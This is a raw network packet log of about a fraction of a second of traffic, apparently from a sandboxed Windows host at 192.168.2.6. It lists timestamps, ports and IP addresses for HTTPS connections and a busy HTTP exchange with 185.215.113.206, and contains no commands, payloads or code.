Oct 30, 2024 04:34:41.899636030 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.904932976 CET	443	51038	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:41.907773018 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.907984972 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.907995939 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.908312082 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.908502102 CET	51044	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.908513069 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.909320116 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.909631014 CET	51044	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.909647942 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.909710884 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.909744024 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.909782887 CET	51044	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.910120964 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.910207987 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.910372019 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:41.913135052 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:41.913197041 CET	443	51052	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:41.913274050 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:41.913495064 CET	51052	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:41.913520098 CET	443	51052	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:41.919833899 CET	51053	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:41.919872046 CET	443	51053	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:41.920252085 CET	51053	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:41.920326948 CET	51054	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:41.920334101 CET	443	51054	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:41.920417070 CET	51054	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:41.920610905 CET	51053	443	192.168.2.6	18.245.113.41
Oct 30, 2024 04:34:41.920622110 CET	443	51053	18.245.113.41	192.168.2.6
Oct 30, 2024 04:34:41.920759916 CET	51054	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:41.920768023 CET	443	51054	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:41.922087908 CET	443	51041	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.922692060 CET	51041	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.922727108 CET	443	51041	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.923171997 CET	51041	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.923182011 CET	443	51041	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.932362080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932377100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932393074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932410002 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932425022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932434082 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.932441950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932486057 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.932600975 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932617903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932635069 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932676077 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.932702065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.932703018 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932723045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932739019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932746887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.932768106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932768106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.932794094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.932821035 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.932823896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.932921886 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.933356047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.933408022 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.933413029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.933506012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.933526039 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.933564901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.933567047 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.933582067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.933612108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.933624029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.933640957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.933650970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.933675051 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.933692932 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.934051037 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.934067965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.934107065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.934124947 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.934137106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.934340954 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.943240881 CET	443	51038	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:41.943336964 CET	51038	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:41.944168091 CET	51038	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:41.944185019 CET	443	51038	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:41.951339006 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.955328941 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:41.957915068 CET	51055	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:41.957951069 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:41.958210945 CET	51055	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:41.958479881 CET	51055	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:41.958506107 CET	443	51055	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:41.960320950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.960376978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.960407972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.960459948 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.960460901 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.960490942 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.960496902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.960530996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.960534096 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.960553885 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.960577011 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.960858107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.960892916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.960927010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.960951090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.960961103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.960983038 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.960997105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.961023092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.961055994 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.961287975 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.961342096 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.961374044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:41.961381912 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.961421013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.961421013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:41.971235991 CET	443	51042	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.971822977 CET	51042	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.971860886 CET	443	51042	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:41.972579956 CET	51042	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:41.972592115 CET	443	51042	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.000371933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.000430107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.000449896 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.000463963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.000498056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.000528097 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.025158882 CET	443	51047	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.025221109 CET	51047	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.025224924 CET	443	51047	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.025305986 CET	51047	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.025516987 CET	443	51046	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.025580883 CET	443	51046	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.025618076 CET	51046	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.025655031 CET	51046	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.026894093 CET	51047	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.026904106 CET	443	51047	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.027724028 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.027770996 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.027862072 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.027863026 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.027956009 CET	51043	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.027966022 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.028019905 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.028085947 CET	51043	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.028413057 CET	51046	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.028420925 CET	443	51046	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.028770924 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.028812885 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.028968096 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.029809952 CET	51056	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.029834032 CET	443	51056	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.030436039 CET	51057	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.030464888 CET	443	51057	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.041238070 CET	51043	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.041248083 CET	443	51043	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.041663885 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.041718006 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.041810036 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.042690992 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.042714119 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.042795897 CET	51044	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.042804956 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.042849064 CET	51044	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.043103933 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.043173075 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.043998957 CET	51044	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.048408985 CET	51058	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.048443079 CET	443	51058	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.052272081 CET	443	51050	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.054830074 CET	443	51041	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.054928064 CET	443	51041	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.055017948 CET	51041	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.055458069 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.055516958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.055569887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.055587053 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.055607080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.055643082 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.055661917 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.055682898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.055711985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.055742979 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.055748940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.055766106 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.055789948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.055797100 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.055824041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.055846930 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.056097984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.056132078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.056150913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.056169033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.056179047 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.056214094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.056221962 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.056256056 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.056289911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.056305885 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.056324959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.056346893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.056358099 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.056368113 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.056408882 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.056840897 CET	443	51049	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.056900024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.056951046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.056966066 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.056987047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.057015896 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.057020903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.057055950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.057064056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.057064056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.057100058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.057312012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.057365894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.057367086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.057401896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.057420015 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.057451963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.066404104 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.067027092 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.067038059 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.071810961 CET	51050	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.071870089 CET	443	51050	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.073637009 CET	51041	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.073637009 CET	51041	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.073643923 CET	51050	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.073662043 CET	443	51050	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.073668957 CET	443	51041	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.073683023 CET	443	51041	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.074681997 CET	51049	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.074691057 CET	443	51049	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.075104952 CET	51049	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.075109959 CET	443	51049	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.076225996 CET	51044	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.076234102 CET	443	51044	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.080866098 CET	51059	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.080956936 CET	443	51059	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.081074953 CET	51059	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.081209898 CET	51059	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.081242085 CET	443	51059	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.083744049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.083807945 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.083844900 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.083859921 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.083884001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.083897114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.083950043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.083952904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.083990097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.084036112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.084045887 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.084065914 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.084100008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.084117889 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.084134102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.084158897 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.084189892 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.084238052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.084287882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.084290981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.084322929 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.084338903 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.084378004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.101619959 CET	443	51042	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.101849079 CET	443	51042	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.101918936 CET	51042	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.102138996 CET	51042	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.102176905 CET	443	51042	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.107573032 CET	51060	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.107589960 CET	443	51060	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.107712030 CET	51060	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.107945919 CET	51060	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.107963085 CET	443	51060	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.136127949 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.136153936 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.136162996 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.136172056 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.136187077 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.136195898 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.136221886 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.136260033 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.136277914 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.136311054 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.137854099 CET	443	51039	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:42.137943029 CET	443	51039	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:42.137995005 CET	51039	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:42.143819094 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.143826962 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.143845081 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.143853903 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.143919945 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.143950939 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.144000053 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.144593954 CET	443	51048	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.144644976 CET	51048	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.144678116 CET	51039	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:42.144699097 CET	443	51039	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:42.146405935 CET	443	51051	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.160546064 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.160572052 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.160592079 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.160624981 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.160634995 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.160654068 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.160682917 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.160718918 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.160718918 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.160727978 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.160824060 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.162507057 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.162527084 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.162547112 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.162585020 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.162599087 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.162619114 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.162637949 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.162667036 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.162672997 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.162672997 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.162672997 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.162905931 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.163049936 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.163332939 CET	51045	443	192.168.2.6	23.55.178.210
Oct 30, 2024 04:34:42.163345098 CET	443	51045	23.55.178.210	192.168.2.6
Oct 30, 2024 04:34:42.177171946 CET	51051	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.177197933 CET	443	51051	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.178234100 CET	51051	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.178246975 CET	443	51051	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.191278934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:42.196532965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:42.201052904 CET	443	51049	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.201071978 CET	443	51050	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.201080084 CET	443	51049	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.201172113 CET	443	51050	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:42.201175928 CET	51049	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:42.201184988 CET	443	51049	13.107.246.45	192.168.2.6
